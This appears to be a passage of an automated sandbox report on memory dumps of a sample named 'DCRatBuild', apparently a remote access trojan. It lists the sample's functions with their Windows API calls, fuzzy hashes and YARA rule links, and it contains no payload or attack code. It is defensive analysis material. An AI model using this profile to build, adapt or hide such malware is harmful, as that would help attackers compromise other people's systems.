
Function 00FD0085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FD00A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00FCEB86,Crypt32.dll,00000000,00FCEC0A,?,?,00FCEBEC,?,?,?), ref: 00FD00C2

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 28c9f38747e2a1ca551d32ed7a02fa6bae4218a61eb874a9d6466394a925e3f1
Instruction ID: bffe63e08e90df45076052295dff2d4ca9d011ac3637a99eae316fd2ab5fdd02
Opcode Fuzzy Hash: 28c9f38747e2a1ca551d32ed7a02fa6bae4218a61eb874a9d6466394a925e3f1
Instruction Fuzzy Hash: 61E0127690111C6ADB21AAA4DC09FEA776CEF09392F0400A6B948D3104DA749A44DBA4

Function 00FD9B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00FD9B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00FD9B37

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 387db1c83041c37ce360fcd60e5bcae8fa3111db21593af9467b7e1472841bfb
Instruction ID: a63fe1697bafc006a134f956cafe23680f09484dd70080cbd69a9772283134e1
Opcode Fuzzy Hash: 387db1c83041c37ce360fcd60e5bcae8fa3111db21593af9467b7e1472841bfb
Instruction Fuzzy Hash: 58E0ED71905218EBCB10EF98D9017AAB7F9EB04321F14805FE89597301D6B56E04AB91

Function 00FE215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00FE329A: try_get_function.LIBVCRUNTIME ref: 00FE32AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00FE217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00FE2185

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: d35837c9c568e888fd2fc0cf357aa0f7451c15fc7388b309bafd8d79ed5a937d
Instruction ID: 1c97a0f2ddec1fd1e4cf09d1a58bf6764258cebe9710e526da3b78ad60560bb9
Opcode Fuzzy Hash: d35837c9c568e888fd2fc0cf357aa0f7451c15fc7388b309bafd8d79ed5a937d
Instruction Fuzzy Hash: E2D0C7756443C52469D826B76C5A5A9334D5E52B743E00645F720CA4E2FE5D83057511

Function 00FDDC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 00FDDC73
DloadProtectSection.DELAYIMP ref: 00FDDC8F

Part of subcall function 00FDDE67: DloadObtainSection.DELAYIMP ref: 00FDDE77

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: d0ac22297fc16bc608fff0f88f5674956e4ebba773468c62e1f5045bbcda7fe4
Instruction ID: 79dd7ea28ba1f1101018ca3e47050a069d29d9eb4141327187db9e0656dd9c6d
Opcode Fuzzy Hash: d0ac22297fc16bc608fff0f88f5674956e4ebba773468c62e1f5045bbcda7fe4
Instruction Fuzzy Hash: D1D0C9B05003194AC621AB14D94672C337AB704769F7C0407F58587258DBBD4484F605

Function 00FC12E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00FC12FB
ShowWindow.USER32(00000000), ref: 00FC1302

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 149a85011e94d4e4f23d2a585620b2ff1389fde583f5522e51ae138dfd672524
Instruction ID: 0974cd38a5daf9597b18748572e741a822079e325811a1b95b3ef5b60d6c5134
Opcode Fuzzy Hash: 149a85011e94d4e4f23d2a585620b2ff1389fde583f5522e51ae138dfd672524
Instruction Fuzzy Hash: 36C0123A058200BECB210FB0DC09D3FBBACABA4212F25C908F2E5C0054C23EC010DB11

Function 00FC19A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC19AB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 90de44bb0aab6c8710f1508445c2c16c8195bf081585720306f864fb4f015cbf
Instruction ID: d692c4545b41da0047e300c4793a2e9977199851091cfcd5523efcd5e99f43ed
Opcode Fuzzy Hash: 90de44bb0aab6c8710f1508445c2c16c8195bf081585720306f864fb4f015cbf
Instruction Fuzzy Hash: 2FC1A430E042569FEF14DF68CA86FA97BA5BF06310F1840BDEC459B243CB359964EB61

Function 00FC3B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC3B42

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bafdc7baae196c1c671c8340b24d0f312f2674ef24a293fb5b95ef29f43391a2
Instruction ID: 5dd3fa54c852824831f7378563ba6a81bfbbc9986475d68038fb3abaa75ce443
Opcode Fuzzy Hash: bafdc7baae196c1c671c8340b24d0f312f2674ef24a293fb5b95ef29f43391a2
Instruction Fuzzy Hash: E4710271504F4AAEDB21DB30CD42FEBB7E8AF14341F44891EE19B87242DA356A48EF51

Function 00FC837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC8384

Part of subcall function 00FC1380: __EH_prolog.LIBCMT ref: 00FC1385
Part of subcall function 00FC1380: new.LIBCMT ref: 00FC13FE

Part of subcall function 00FC19A6: __EH_prolog.LIBCMT ref: 00FC19AB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 75ca8ae8e5a392c01d094d6504d6df3d9d5b14b6696278edb7d230879fd9e5dd
Instruction ID: b01bda6508ad3bd1be612aac7581623e3fe1d6f13b7c3fcd30464c46e4fa0976
Opcode Fuzzy Hash: 75ca8ae8e5a392c01d094d6504d6df3d9d5b14b6696278edb7d230879fd9e5dd
Instruction Fuzzy Hash: 4D41D531C406569ADB24EB60CD56FEA73B8AF50350F0440EEE58A93093DF785AC9EF10

Function 00FC1E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC1E05

Part of subcall function 00FC3B3D: __EH_prolog.LIBCMT ref: 00FC3B42

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3cbef7dbe9599a2dd60e8ddc3e72437062cf9435bbf1afa884f4148abe83f517
Instruction ID: b66becd971cca6f711f1e0aa32a994dc4182aa46c70ddd8a5ac9f1a7af2cbf39
Opcode Fuzzy Hash: 3cbef7dbe9599a2dd60e8ddc3e72437062cf9435bbf1afa884f4148abe83f517
Instruction Fuzzy Hash: ED216F319041099FCB11EF98CE52EEEFBF6BF49300B14016EE845A7252CB365E20EB60

Function 00FDA7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FDA7C8

Part of subcall function 00FC1380: __EH_prolog.LIBCMT ref: 00FC1385
Part of subcall function 00FC1380: new.LIBCMT ref: 00FC13FE

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 750e75fe911e93b7f91a70e6d527bddb690612dea1fcf5721bf275ff22e05525
Instruction ID: 8b64d8c531ed338b32a3529b2ed261cc90ab6b6ea4e70de4ca158bb13cf417fb
Opcode Fuzzy Hash: 750e75fe911e93b7f91a70e6d527bddb690612dea1fcf5721bf275ff22e05525
Instruction Fuzzy Hash: F9216072C042499ECF15DF54C9429EEB7B5BF1A300F4404AEE809A7342D7396E16EB61

Function 00FC92E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC92EB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b1ea9e9804b485cce9a6dc780c6f31d517346f5fb64482e054a01be781836a5e
Instruction ID: 2489871f89f7c6a8fa733fa368a9c7eaf705508e9a15e1218e2ea0ecaf9029d5
Opcode Fuzzy Hash: b1ea9e9804b485cce9a6dc780c6f31d517346f5fb64482e054a01be781836a5e
Instruction Fuzzy Hash: 8F11C673D0456A97CB11AB98CE57EDDB735BF48710F04411DF808B7251CB398D11A6D0

Function 00FCAA88 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00FCAA9A

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction ID: 7e737770e5e9eb356c7cd5c5107884122967f30d9ecee91831ebe0be02064b70
Opcode Fuzzy Hash: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction Fuzzy Hash: 36F0813190070BDFDB30DA65CA42B1677E4EB11338F20891ED496C6680E778F880E742

Function 00FC5BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC5BDC

Part of subcall function 00FCB07D: __EH_prolog.LIBCMT ref: 00FCB082

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fbe1a1933b92700d0cbc01d39265c34a4d578a9ff7a0814925d0e35811bca663
Instruction ID: 0b44d3d4d4fcc06917b3cf37e9bebce80c81c7a23b47ee92ac5ce3ddc1cbd614
Opcode Fuzzy Hash: fbe1a1933b92700d0cbc01d39265c34a4d578a9ff7a0814925d0e35811bca663
Instruction Fuzzy Hash: 3E01D630914745DAC724F7B8C946BDDF7E49F19700F40409EA45A13283CBB81B0CE752

Function 00FE8518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00FEC13D,00000000,?,00FE67E2,?,00000008,?,00FE89AD,?,?,?), ref: 00FE854A

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 57e5803b95f27d51a43783aceb16ed88f64255664f7570edb4bd41492b2e1598
Instruction ID: 863f878adaa68c122cf6024449b16ed62019fa6d08611e7a98133e253e1e9799
Opcode Fuzzy Hash: 57e5803b95f27d51a43783aceb16ed88f64255664f7570edb4bd41492b2e1598
Instruction Fuzzy Hash: 55E0E5359403E55AEB313B6B5C00B9A378C9F417F0F1C0211EC5DA6091CE24CC03B5E5

Function 00FC96D0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00FC968F,?,?,?,?,00FF1FA1,000000FF), ref: 00FC96EB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 788b679a78ea0c0280d4f288dce934e41b4459ad42dccf5567bd1ec29ae5c310
Instruction ID: 4133f0f289a181642d7514b9a3592eabc8407633b4fd64845369e81e665829e9
Opcode Fuzzy Hash: 788b679a78ea0c0280d4f288dce934e41b4459ad42dccf5567bd1ec29ae5c310
Instruction Fuzzy Hash: 53F0543095AB064FDB308A24DA4EB9277E45B12735F044B1E91EB434D0D7A5644DBB00

Function 00FCA4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00FCA4F5

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 11781376b4521c281dcff47a3662dd46c6d58924245fe25087d72dd7c7afc2f8
Instruction ID: cf4eceb527b7d6d4d7e779243b742fe73e8671af0654dea831bc85cc7a236dcd
Opcode Fuzzy Hash: 11781376b4521c281dcff47a3662dd46c6d58924245fe25087d72dd7c7afc2f8
Instruction Fuzzy Hash: 60F0E935408385AACB225B788D06FD6BB916F05335F08CA0DF1FD02192C2783485BB23

Function 00FD067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00FD06B1

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 1a60e96ea2071b137526c73f025fac0fabbf412869d0ee7e676c14b066b7e8e2
Instruction ID: f103e9a13a00dbf40370314c61abeabb321d8cfe351228ac9e01ae63cb91e92c
Opcode Fuzzy Hash: 1a60e96ea2071b137526c73f025fac0fabbf412869d0ee7e676c14b066b7e8e2
Instruction Fuzzy Hash: 51D0C22060811025D6123368AC06BFE3A0B0FC6761F0C002BB14D9378A8E4E088AB2A2

Function 00FD9D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00FD9D81

Part of subcall function 00FD9B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00FD9B30

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: 4b7200a28616a98b54e6ab4d32166369a96ad46ccb3228d682bfcdfb4dc0b0cd
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction Fuzzy Hash: D8D09E316582097A9F41BAA59C02A6A7BABDB41350F144167BC4886351EAB1DA10B661

Function 00FC9989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00FC9887), ref: 00FC9995

Memory Dump Source

